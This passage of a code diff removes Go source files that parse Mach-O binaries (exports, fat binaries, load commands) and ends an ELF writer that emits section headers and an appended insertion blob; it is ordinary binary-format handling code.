||||
}
|
||||
w.Flush()
|
||||
}
|
||||
|
||||
// Pad to Section Header Table
|
||||
if bytesWritten < uint64(elfFile.FileHeader.SHTOffset) {
|
||||
pad := make([]byte, uint64(elfFile.FileHeader.SHTOffset)-bytesWritten)
|
||||
w.Write(pad)
|
||||
//log.Printf("Padding before SHT at %x: length:%x to:%x\n", bytesWritten, len(pad), elfFile.FileHeader.SHTOffset)
|
||||
bytesWritten += uint64(len(pad))
|
||||
}
|
||||
|
||||
// Write Section Header Table
|
||||
|
||||
for _, s := range elfFile.Sections[:] {
|
||||
|
||||
switch elfFile.Class {
|
||||
case ELFCLASS32:
|
||||
binary.Write(w, elfFile.ByteOrder, &Section32{
|
||||
Name: s.Shname,
|
||||
Type: uint32(s.Type),
|
||||
Flags: uint32(s.Flags),
|
||||
Addr: uint32(s.Addr),
|
||||
Off: uint32(s.Offset),
|
||||
Size: uint32(s.Size),
|
||||
Link: s.Link,
|
||||
Info: s.Info,
|
||||
Addralign: uint32(s.Addralign),
|
||||
Entsize: uint32(s.Entsize)})
|
||||
case ELFCLASS64:
|
||||
binary.Write(w, elfFile.ByteOrder, &Section64{
|
||||
Name: s.Shname,
|
||||
Type: uint32(s.Type),
|
||||
Flags: uint64(s.Flags),
|
||||
Addr: s.Addr,
|
||||
Off: s.Offset,
|
||||
Size: s.Size,
|
||||
Link: s.Link,
|
||||
Info: s.Info,
|
||||
Addralign: s.Addralign,
|
||||
Entsize: s.Entsize})
|
||||
}
|
||||
}
|
||||
|
||||
// Do I have a PT_NOTE segment to add at the end?
|
||||
|
||||
if len(elfFile.InsertionEOF) > 0 {
|
||||
binary.Write(w, elfFile.ByteOrder, elfFile.InsertionEOF)
|
||||
bytesWritten += uint64(len(elfFile.InsertionEOF))
|
||||
}
|
||||
|
||||
w.Flush()
|
||||
return elfBuf.Bytes(), nil
|
||||
}
|
||||
|
||||
// WriteFile - Creates a new file and writes it using the Bytes func above
|
||||
func (elfFile *File) WriteFile(destFile string) error {
|
||||
f, err := os.Create(destFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
elfData, err := elfFile.Bytes()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = f.Write(elfData)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
-3
@@ -1,3 +0,0 @@
|
||||
## More Info
|
||||
|
||||
More info on the Mach-O file structure here: [Mach-O Deep Dive](https://www.symbolcrash.com/2019/02/25/so-you-want-to-be-a-mach-o-man/)
|
||||
-27
@@ -1,27 +0,0 @@
|
||||
package macho
|
||||
|
||||
const N_SECT = 0x0E
|
||||
const N_PEXT = 0x10
|
||||
const N_EXT = 0x01
|
||||
|
||||
// Export - describes a single export entry (similar to PE version for future refactoring)
|
||||
type Export struct {
|
||||
//Ordinal uint32 // no ordinals for Mach-O
|
||||
Name string
|
||||
VirtualAddress uint64
|
||||
}
|
||||
|
||||
// Exports - gets exports, including private exports
|
||||
func (f *File) Exports() []Export {
|
||||
var exports []Export
|
||||
for _, symbol := range f.Symtab.Syms {
|
||||
if (symbol.Type&N_PEXT == N_PEXT ||
|
||||
symbol.Type&N_EXT == N_EXT) && symbol.Value != 0 {
|
||||
var export Export
|
||||
export.Name = symbol.Name
|
||||
export.VirtualAddress = symbol.Value
|
||||
exports = append(exports, export)
|
||||
}
|
||||
}
|
||||
return exports
|
||||
}
|
||||
-146
@@ -1,146 +0,0 @@
|
||||
// Copyright 2014 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package macho
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
)
|
||||
|
||||
// A FatFile is a Mach-O universal binary that contains at least one architecture.
|
||||
type FatFile struct {
|
||||
Magic uint32
|
||||
Arches []FatArch
|
||||
closer io.Closer
|
||||
}
|
||||
|
||||
// A FatArchHeader represents a fat header for a specific image architecture.
|
||||
type FatArchHeader struct {
|
||||
Cpu Cpu
|
||||
SubCpu uint32
|
||||
Offset uint32
|
||||
Size uint32
|
||||
Align uint32
|
||||
}
|
||||
|
||||
const fatArchHeaderSize = 5 * 4
|
||||
|
||||
// A FatArch is a Mach-O File inside a FatFile.
|
||||
type FatArch struct {
|
||||
FatArchHeader
|
||||
*File
|
||||
}
|
||||
|
||||
// ErrNotFat is returned from NewFatFile or OpenFat when the file is not a
|
||||
// universal binary but may be a thin binary, based on its magic number.
|
||||
var ErrNotFat = &FormatError{0, "not a fat Mach-O file", nil}
|
||||
|
||||
// NewFatFile creates a new FatFile for accessing all the Mach-O images in a
|
||||
// universal binary. The Mach-O binary is expected to start at position 0 in
|
||||
// the ReaderAt.
|
||||
func NewFatFile(r io.ReaderAt) (*FatFile, error) {
|
||||
var ff FatFile
|
||||
sr := io.NewSectionReader(r, 0, 1<<63-1)
|
||||
|
||||
// Read the fat_header struct, which is always in big endian.
|
||||
// Start with the magic number.
|
||||
err := binary.Read(sr, binary.BigEndian, &ff.Magic)
|
||||
if err != nil {
|
||||
return nil, &FormatError{0, "error reading magic number", nil}
|
||||
} else if ff.Magic != MagicFat {
|
||||
// See if this is a Mach-O file via its magic number. The magic
|
||||
// must be converted to little endian first though.
|
||||
var buf [4]byte
|
||||
binary.BigEndian.PutUint32(buf[:], ff.Magic)
|
||||
leMagic := binary.LittleEndian.Uint32(buf[:])
|
||||
if leMagic == Magic32 || leMagic == Magic64 {
|
||||
return nil, ErrNotFat
|
||||
} else {
|
||||
return nil, &FormatError{0, "invalid magic number", nil}
|
||||
}
|
||||
}
|
||||
offset := int64(4)
|
||||
|
||||
// Read the number of FatArchHeaders that come after the fat_header.
|
||||
var narch uint32
|
||||
err = binary.Read(sr, binary.BigEndian, &narch)
|
||||
if err != nil {
|
||||
return nil, &FormatError{offset, "invalid fat_header", nil}
|
||||
}
|
||||
offset += 4
|
||||
|
||||
if narch < 1 {
|
||||
return nil, &FormatError{offset, "file contains no images", nil}
|
||||
}
|
||||
|
||||
// Combine the Cpu and SubCpu (both uint32) into a uint64 to make sure
|
||||
// there are not duplicate architectures.
|
||||
seenArches := make(map[uint64]bool, narch)
|
||||
// Make sure that all images are for the same MH_ type.
|
||||
var machoType Type
|
||||
|
||||
// Following the fat_header comes narch fat_arch structs that index
|
||||
// Mach-O images further in the file.
|
||||
ff.Arches = make([]FatArch, narch)
|
||||
for i := uint32(0); i < narch; i++ {
|
||||
fa := &ff.Arches[i]
|
||||
err = binary.Read(sr, binary.BigEndian, &fa.FatArchHeader)
|
||||
if err != nil {
|
||||
return nil, &FormatError{offset, "invalid fat_arch header", nil}
|
||||
}
|
||||
offset += fatArchHeaderSize
|
||||
|
||||
fr := io.NewSectionReader(r, int64(fa.Offset), int64(fa.Size))
|
||||
fa.File, err = NewFile(fr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Make sure the architecture for this image is not duplicate.
|
||||
seenArch := (uint64(fa.Cpu) << 32) | uint64(fa.SubCpu)
|
||||
if o, k := seenArches[seenArch]; o || k {
|
||||
return nil, &FormatError{offset, fmt.Sprintf("duplicate architecture cpu=%v, subcpu=%#x", fa.Cpu, fa.SubCpu), nil}
|
||||
}
|
||||
seenArches[seenArch] = true
|
||||
|
||||
// Make sure the Mach-O type matches that of the first image.
|
||||
if i == 0 {
|
||||
machoType = fa.Type
|
||||
} else {
|
||||
if fa.Type != machoType {
|
||||
return nil, &FormatError{offset, fmt.Sprintf("Mach-O type for architecture #%d (type=%#x) does not match first (type=%#x)", i, fa.Type, machoType), nil}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &ff, nil
|
||||
}
|
||||
|
||||
// OpenFat opens the named file using os.Open and prepares it for use as a Mach-O
|
||||
// universal binary.
|
||||
func OpenFat(name string) (*FatFile, error) {
|
||||
f, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ff, err := NewFatFile(f)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
return nil, err
|
||||
}
|
||||
ff.closer = f
|
||||
return ff, nil
|
||||
}
|
||||
|
||||
func (ff *FatFile) Close() error {
|
||||
var err error
|
||||
if ff.closer != nil {
|
||||
err = ff.closer.Close()
|
||||
ff.closer = nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
-952
@@ -1,952 +0,0 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package macho implements access to Mach-O object files.
|
||||
package macho
|
||||
|
||||
// High level access to low level data structures.
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/zlib"
|
||||
"debug/dwarf"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// A File represents an open Mach-O file.
|
||||
type File struct {
|
||||
FileHeader
|
||||
ByteOrder binary.ByteOrder
|
||||
Loads []Load
|
||||
Sections []*Section
|
||||
|
||||
Symtab *Symtab
|
||||
Dysymtab *Dysymtab
|
||||
SigBlock *SigBlock
|
||||
FuncStarts *FuncStarts
|
||||
DataInCode *DataInCode
|
||||
DylinkInfo *DylinkInfo
|
||||
|
||||
EntryPoint uint64
|
||||
Insertion []byte
|
||||
|
||||
closer io.Closer
|
||||
}
|
||||
|
||||
// A Load represents any Mach-O load command.
|
||||
type Load interface {
|
||||
Raw() []byte
|
||||
}
|
||||
|
||||
// A LoadBytes is the uninterpreted bytes of a Mach-O load command.
|
||||
type LoadBytes []byte
|
||||
|
||||
func (b LoadBytes) Raw() []byte { return b }
|
||||
|
||||
// A SegmentHeader is the header for a Mach-O 32-bit or 64-bit load segment command.
|
||||
type SegmentHeader struct {
|
||||
Cmd LoadCmd
|
||||
Len uint32
|
||||
Name string
|
||||
Addr uint64
|
||||
Memsz uint64
|
||||
Offset uint64
|
||||
Filesz uint64
|
||||
Maxprot uint32
|
||||
Prot uint32
|
||||
Nsect uint32
|
||||
Flag uint32
|
||||
}
|
||||
|
||||
type SigBlock struct {
|
||||
Len uint32
|
||||
Offset uint64
|
||||
RawDat []byte
|
||||
}
|
||||
|
||||
type FuncStarts struct {
|
||||
Len uint32
|
||||
Offset uint64
|
||||
RawDat []byte
|
||||
}
|
||||
|
||||
type DataInCode struct {
|
||||
Len uint32
|
||||
Offset uint64
|
||||
RawDat []byte
|
||||
}
|
||||
|
||||
type DylinkInfo struct {
|
||||
RebaseLen uint32
|
||||
RebaseOffset uint64
|
||||
RebaseDat []byte
|
||||
BindingInfoLen uint32
|
||||
BindingInfoOffset uint64
|
||||
BindingInfoDat []byte
|
||||
WeakBindingLen uint32
|
||||
WeakBindingOffset uint64
|
||||
WeakBindingDat []byte
|
||||
LazyBindingLen uint32
|
||||
LazyBindingOffset uint64
|
||||
LazyBindingDat []byte
|
||||
ExportInfoLen uint32
|
||||
ExportInfoOffset uint64
|
||||
ExportInfoDat []byte
|
||||
}
|
||||
|
||||
// A Segment represents a Mach-O 32-bit or 64-bit load segment command.
|
||||
type Segment struct {
|
||||
LoadBytes
|
||||
SegmentHeader
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
}
|
||||
|
||||
// Data reads and returns the contents of the segment.
|
||||
func (s *Segment) Data() ([]byte, error) {
|
||||
dat := make([]byte, s.sr.Size())
|
||||
n, err := s.sr.ReadAt(dat, 0)
|
||||
if n == len(dat) {
|
||||
err = nil
|
||||
}
|
||||
return dat[0:n], err
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the segment.
|
||||
func (s *Segment) Open() io.ReadSeeker { return io.NewSectionReader(s.sr, 0, 1<<63-1) }
|
||||
|
||||
type SectionHeader struct {
|
||||
Name string
|
||||
Seg string
|
||||
Addr uint64
|
||||
Size uint64
|
||||
Offset uint32
|
||||
Align uint32
|
||||
Reloff uint32
|
||||
Nreloc uint32
|
||||
Flags uint32
|
||||
}
|
||||
|
||||
// A Reloc represents a Mach-O relocation.
|
||||
type Reloc struct {
|
||||
Addr uint32
|
||||
Value uint32
|
||||
// when Scattered == false && Extern == true, Value is the symbol number.
|
||||
// when Scattered == false && Extern == false, Value is the section number.
|
||||
// when Scattered == true, Value is the value that this reloc refers to.
|
||||
Type uint8
|
||||
Len uint8 // 0=byte, 1=word, 2=long, 3=quad
|
||||
Pcrel bool
|
||||
Extern bool // valid if Scattered == false
|
||||
Scattered bool
|
||||
}
|
||||
|
||||
type Section struct {
|
||||
SectionHeader
|
||||
Relocs []Reloc
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
}
|
||||
|
||||
// Data reads and returns the contents of the Mach-O section.
|
||||
func (s *Section) Data() ([]byte, error) {
|
||||
dat := make([]byte, s.sr.Size())
|
||||
n, err := s.sr.ReadAt(dat, 0)
|
||||
if n == len(dat) {
|
||||
err = nil
|
||||
}
|
||||
return dat[0:n], err
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the Mach-O section.
|
||||
func (s *Section) Open() io.ReadSeeker { return io.NewSectionReader(s.sr, 0, 1<<63-1) }
|
||||
|
||||
// A Dylinker represents a Mach-O load dynamic library command.
|
||||
type Dylinker struct {
|
||||
LoadBytes
|
||||
Name string
|
||||
}
|
||||
|
||||
// A Dylib represents a Mach-O load dynamic library command.
|
||||
type Dylib struct {
|
||||
LoadBytes
|
||||
Name string
|
||||
Time uint32
|
||||
CurrentVersion uint32
|
||||
CompatVersion uint32
|
||||
}
|
||||
|
||||
// A Symtab represents a Mach-O symbol table command.
|
||||
type Symtab struct {
|
||||
LoadBytes
|
||||
SymtabCmd
|
||||
Syms []Symbol
|
||||
RawSymtab []byte
|
||||
RawStringtab []byte
|
||||
}
|
||||
|
||||
// A Dysymtab represents a Mach-O dynamic symbol table command.
|
||||
type Dysymtab struct {
|
||||
LoadBytes
|
||||
DysymtabCmd
|
||||
IndirectSyms []uint32 // indices into Symtab.Syms
|
||||
RawDysymtab []byte
|
||||
}
|
||||
|
||||
// A Rpath represents a Mach-O rpath command.
|
||||
type Rpath struct {
|
||||
LoadBytes
|
||||
Path string
|
||||
}
|
||||
|
||||
// A Symbol is a Mach-O 32-bit or 64-bit symbol table entry.
|
||||
type Symbol struct {
|
||||
Name string
|
||||
Type uint8
|
||||
Sect uint8
|
||||
Desc uint16
|
||||
Value uint64
|
||||
}
|
||||
|
||||
/*
|
||||
* Mach-O reader
|
||||
*/
|
||||
|
||||
// FormatError is returned by some operations if the data does
|
||||
// not have the correct format for an object file.
|
||||
type FormatError struct {
|
||||
off int64
|
||||
msg string
|
||||
val interface{}
|
||||
}
|
||||
|
||||
func (e *FormatError) Error() string {
|
||||
msg := e.msg
|
||||
if e.val != nil {
|
||||
msg += fmt.Sprintf(" '%v'", e.val)
|
||||
}
|
||||
msg += fmt.Sprintf(" in record at byte %#x", e.off)
|
||||
return msg
|
||||
}
|
||||
|
||||
// Open opens the named file using os.Open and prepares it for use as a Mach-O binary.
|
||||
func Open(name string) (*File, error) {
|
||||
f, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ff, err := NewFile(f)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
return nil, err
|
||||
}
|
||||
ff.closer = f
|
||||
return ff, nil
|
||||
}
|
||||
|
||||
// Close closes the File.
|
||||
// If the File was created using NewFile directly instead of Open,
|
||||
// Close has no effect.
|
||||
func (f *File) Close() error {
|
||||
var err error
|
||||
if f.closer != nil {
|
||||
err = f.closer.Close()
|
||||
f.closer = nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
// NewFile creates a new macho.File for accessing a Mach-o binary file in an underlying reader.
|
||||
func NewFile(r io.ReaderAt) (*File, error) {
|
||||
return newFileInternal(r, false)
|
||||
}
|
||||
|
||||
// NewFileFromMemory creates a new macho.File for accessing a Mach-O binary in-memory image in an underlying reader.
|
||||
func NewFileFromMemory(r io.ReaderAt) (*File, error) {
|
||||
return newFileInternal(r, true)
|
||||
}
|
||||
|
||||
// NewFile creates a new File for accessing a PE binary in an underlying reader.
|
||||
func newFileInternal(r io.ReaderAt, memoryMode bool) (*File, error) {
|
||||
|
||||
f := new(File)
|
||||
sr := io.NewSectionReader(r, 0, 1<<63-1)
|
||||
|
||||
// Read and decode Mach magic to determine byte order, size.
|
||||
// Magic32 and Magic64 differ only in the bottom bit.
|
||||
var ident [4]byte
|
||||
if _, err := r.ReadAt(ident[0:], 0); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
be := binary.BigEndian.Uint32(ident[0:])
|
||||
le := binary.LittleEndian.Uint32(ident[0:])
|
||||
switch Magic32 &^ 1 {
|
||||
case be &^ 1:
|
||||
f.ByteOrder = binary.BigEndian
|
||||
f.Magic = be
|
||||
case le &^ 1:
|
||||
f.ByteOrder = binary.LittleEndian
|
||||
f.Magic = le
|
||||
default:
|
||||
return nil, &FormatError{0, "invalid magic number", nil}
|
||||
}
|
||||
|
||||
// Read entire file header.
|
||||
if err := binary.Read(sr, f.ByteOrder, &f.FileHeader); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Then load commands.
|
||||
offset := int64(fileHeaderSize32)
|
||||
if f.Magic == Magic64 {
|
||||
offset = fileHeaderSize64
|
||||
}
|
||||
dat := make([]byte, f.Cmdsz)
|
||||
if _, err := r.ReadAt(dat, offset); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Loads = make([]Load, f.Ncmd)
|
||||
bo := f.ByteOrder
|
||||
for i := range f.Loads {
|
||||
// Each load command begins with uint32 command and length.
|
||||
if len(dat) < 8 {
|
||||
return nil, &FormatError{offset, "command block too small", nil}
|
||||
}
|
||||
cmd, siz := LoadCmd(bo.Uint32(dat[0:4])), bo.Uint32(dat[4:8])
|
||||
if siz < 8 || siz > uint32(len(dat)) {
|
||||
return nil, &FormatError{offset, "invalid command block size", nil}
|
||||
}
|
||||
var cmddat []byte
|
||||
cmddat, dat = dat[0:siz], dat[siz:]
|
||||
offset += int64(siz)
|
||||
var s *Segment
|
||||
//fmt.Printf("LoadCmdVal: %+v\n", cmd)
|
||||
switch cmd {
|
||||
default:
|
||||
f.Loads[i] = LoadBytes(cmddat)
|
||||
|
||||
case LoadCmdRpath:
|
||||
var hdr RpathCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
l := new(Rpath)
|
||||
if hdr.Path >= uint32(len(cmddat)) {
|
||||
return nil, &FormatError{offset, "invalid path in rpath command", hdr.Path}
|
||||
}
|
||||
l.Path = cstring(cmddat[hdr.Path:])
|
||||
l.LoadBytes = LoadBytes(cmddat)
|
||||
f.Loads[i] = l
|
||||
|
||||
case LoadCmdDylinker:
|
||||
var hdr DylinkerCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
l := new(Dylinker)
|
||||
if hdr.Name >= uint32(len(cmddat)) {
|
||||
return nil, &FormatError{offset, "invalid name in dynamic library command", hdr.Name}
|
||||
}
|
||||
l.Name = cstring(cmddat[hdr.Name:])
|
||||
l.LoadBytes = LoadBytes(cmddat)
|
||||
f.Loads[i] = l
|
||||
|
||||
case LoadCmdDylib:
|
||||
var hdr DylibCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
l := new(Dylib)
|
||||
if hdr.Name >= uint32(len(cmddat)) {
|
||||
return nil, &FormatError{offset, "invalid name in dynamic library command", hdr.Name}
|
||||
}
|
||||
l.Name = cstring(cmddat[hdr.Name:])
|
||||
l.Time = hdr.Time
|
||||
l.CurrentVersion = hdr.CurrentVersion
|
||||
l.CompatVersion = hdr.CompatVersion
|
||||
l.LoadBytes = LoadBytes(cmddat)
|
||||
f.Loads[i] = l
|
||||
|
||||
case LoadCmdSymtab:
|
||||
var hdr SymtabCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
strtab := make([]byte, hdr.Strsize)
|
||||
|
||||
var linkeditAddr, textAddr, linkeditOffset int64
|
||||
if !memoryMode {
|
||||
if _, err := r.ReadAt(strtab, int64(hdr.Stroff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
// in memory, we have to translate the file offsets for strtab/symtab into offsets into LINKEDIT segment
|
||||
for _, load := range f.Loads {
|
||||
switch segment := load.(type) {
|
||||
case *Segment:
|
||||
if segment == nil {
|
||||
continue
|
||||
}
|
||||
if segment.Name == "__LINKEDIT" {
|
||||
linkeditAddr = int64(segment.Addr)
|
||||
linkeditOffset = int64(segment.Offset)
|
||||
} else if segment.Name == "__TEXT" {
|
||||
textAddr = int64(segment.Addr)
|
||||
}
|
||||
}
|
||||
}
|
||||
strtabAddr := (linkeditAddr - textAddr) + (int64(hdr.Stroff) - linkeditOffset)
|
||||
if _, err := r.ReadAt(strtab, strtabAddr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
var symsz int
|
||||
if f.Magic == Magic64 {
|
||||
symsz = 16
|
||||
} else {
|
||||
symsz = 12
|
||||
}
|
||||
symdat := make([]byte, int(hdr.Nsyms)*symsz)
|
||||
|
||||
if !memoryMode {
|
||||
if _, err := r.ReadAt(symdat, int64(hdr.Symoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
if _, err := r.ReadAt(symdat, (linkeditAddr-textAddr)+(int64(hdr.Symoff)-linkeditOffset)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
st, err := f.parseSymtab(symdat, strtab, cmddat, &hdr, offset)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Loads[i] = st
|
||||
f.Symtab = st
|
||||
f.Symtab.Symoff = hdr.Symoff
|
||||
f.Symtab.Stroff = hdr.Stroff
|
||||
|
||||
case LoadCmdSignature:
|
||||
var sigCmd SigBlockCmd
|
||||
s := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(s, bo, &sigCmd); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//fmt.Printf("SigData: %+v\n", sigCmd)
|
||||
sig := make([]byte, sigCmd.Sigsize)
|
||||
if _, err := r.ReadAt(sig, int64(sigCmd.Sigoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var block SigBlock
|
||||
block.Offset = uint64(sigCmd.Sigoff)
|
||||
block.Len = sigCmd.Sigsize
|
||||
block.RawDat = sig
|
||||
f.SigBlock = &block
|
||||
f.Loads[i] = LoadBytes(cmddat)
|
||||
|
||||
case LoadCmdFuncStarts:
|
||||
var funcCmd FuncStartsCmd
|
||||
fsc := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(fsc, bo, &funcCmd); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//fmt.Printf("FuncStartsData: %+v\n", funcCmd)
|
||||
fs := make([]byte, funcCmd.Datasize)
|
||||
if _, err := r.ReadAt(fs, int64(funcCmd.Dataoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var funcs FuncStarts
|
||||
funcs.Offset = uint64(funcCmd.Dataoff)
|
||||
funcs.Len = funcCmd.Datasize
|
||||
funcs.RawDat = fs
|
||||
f.FuncStarts = &funcs
|
||||
f.Loads[i] = LoadBytes(cmddat)
|
||||
|
||||
case LoadCmdDataInCode:
|
||||
var dataCmd DataInCodeCmd
|
||||
dcc := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(dcc, bo, &dataCmd); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//fmt.Printf("DataInCode: %+v\n", dataCmd)
|
||||
dc := make([]byte, dataCmd.Datasize)
|
||||
if _, err := r.ReadAt(dc, int64(dataCmd.Dataoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var datacode DataInCode
|
||||
datacode.Offset = uint64(dataCmd.Dataoff)
|
||||
datacode.Len = dataCmd.Datasize
|
||||
datacode.RawDat = dc
|
||||
f.DataInCode = &datacode
|
||||
f.Loads[i] = LoadBytes(cmddat)
|
||||
|
||||
case LoadCmdDylinkInfo:
|
||||
var dylinkInfoCmd DylinkInfoCmd
|
||||
dic := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(dic, bo, &dylinkInfoCmd); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//fmt.Printf("LoadCmdDylinkInfo: %+v\n", dylinkInfoCmd)
|
||||
// Copy each section next
|
||||
var dylinkInfo DylinkInfo
|
||||
// Rebase deets
|
||||
if dylinkInfoCmd.Rebasesize > 0 {
|
||||
if !memoryMode { // this data is in LINKEDIT already
|
||||
rebase := make([]byte, dylinkInfoCmd.Rebasesize)
|
||||
if _, err := r.ReadAt(rebase, int64(dylinkInfoCmd.Rebaseoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dylinkInfo.RebaseDat = rebase
|
||||
}
|
||||
dylinkInfo.RebaseLen = dylinkInfoCmd.Rebasesize
|
||||
dylinkInfo.RebaseOffset = uint64(dylinkInfoCmd.Rebaseoff)
|
||||
}
|
||||
// BindingInfo deets
|
||||
if dylinkInfoCmd.Bindinginfosize > 0 {
|
||||
if !memoryMode { // this data is in LINKEDIT already
|
||||
binding := make([]byte, dylinkInfoCmd.Bindinginfosize)
|
||||
if _, err := r.ReadAt(binding, int64(dylinkInfoCmd.Bindinginfooff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dylinkInfo.BindingInfoDat = binding
|
||||
}
|
||||
dylinkInfo.BindingInfoLen = dylinkInfoCmd.Bindinginfosize
|
||||
dylinkInfo.BindingInfoOffset = uint64(dylinkInfoCmd.Bindinginfooff)
|
||||
}
|
||||
// Weak deets
|
||||
if dylinkInfoCmd.Weakbindingsize > 0 {
|
||||
if !memoryMode { // this data is in LINKEDIT already
|
||||
weak := make([]byte, dylinkInfoCmd.Weakbindingsize)
|
||||
if _, err := r.ReadAt(weak, int64(dylinkInfoCmd.Weakbindingoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dylinkInfo.WeakBindingDat = weak
|
||||
}
|
||||
dylinkInfo.WeakBindingLen = dylinkInfoCmd.Weakbindingsize
|
||||
dylinkInfo.WeakBindingOffset = uint64(dylinkInfoCmd.Weakbindingoff)
|
||||
}
|
||||
// Lazy deets
|
||||
if dylinkInfoCmd.Lazybindingsize > 0 {
|
||||
if !memoryMode { // this data is in LINKEDIT already
|
||||
lazy := make([]byte, dylinkInfoCmd.Lazybindingsize)
|
||||
if _, err := r.ReadAt(lazy, int64(dylinkInfoCmd.Lazybindingoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dylinkInfo.LazyBindingDat = lazy
|
||||
}
|
||||
dylinkInfo.LazyBindingLen = dylinkInfoCmd.Lazybindingsize
|
||||
dylinkInfo.LazyBindingOffset = uint64(dylinkInfoCmd.Lazybindingoff)
|
||||
}
|
||||
// ExportInfo deets
|
||||
if dylinkInfoCmd.Exportinfosize > 0 {
|
||||
if !memoryMode { // this data is in LINKEDIT already
|
||||
export := make([]byte, dylinkInfoCmd.Exportinfosize)
|
||||
if _, err := r.ReadAt(export, int64(dylinkInfoCmd.Exportinfooff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dylinkInfo.ExportInfoDat = export
|
||||
}
|
||||
dylinkInfo.ExportInfoLen = dylinkInfoCmd.Exportinfosize
|
||||
dylinkInfo.ExportInfoOffset = uint64(dylinkInfoCmd.Exportinfooff)
|
||||
}
|
||||
// Finalize the object
|
||||
f.DylinkInfo = &dylinkInfo
|
||||
f.Loads[i] = LoadBytes(cmddat)
|
||||
|
||||
case LoadCmdDysymtab:
|
||||
var hdr DysymtabCmd
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dat := make([]byte, hdr.Nindirectsyms*4)
|
||||
if _, err := r.ReadAt(dat, int64(hdr.Indirectsymoff)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
x := make([]uint32, hdr.Nindirectsyms)
|
||||
if err := binary.Read(bytes.NewReader(dat), bo, x); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
st := new(Dysymtab)
|
||||
st.LoadBytes = LoadBytes(cmddat)
|
||||
st.DysymtabCmd = hdr
|
||||
st.IndirectSyms = x
|
||||
f.Loads[i] = st
|
||||
f.Dysymtab = st
|
||||
f.Dysymtab.Indirectsymoff = hdr.Indirectsymoff
|
||||
f.Dysymtab.RawDysymtab = dat
|
||||
|
||||
case LoadCmdSegment:
|
||||
var seg32 Segment32
|
||||
b := bytes.NewReader(cmddat)
|
||||
if err := binary.Read(b, bo, &seg32); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s = new(Segment)
|
||||
s.LoadBytes = cmddat
|
||||
s.Cmd = cmd
|
||||
s.Len = siz
|
||||
s.Name = cstring(seg32.Name[0:])
|
||||
s.Addr = uint64(seg32.Addr)
|
||||
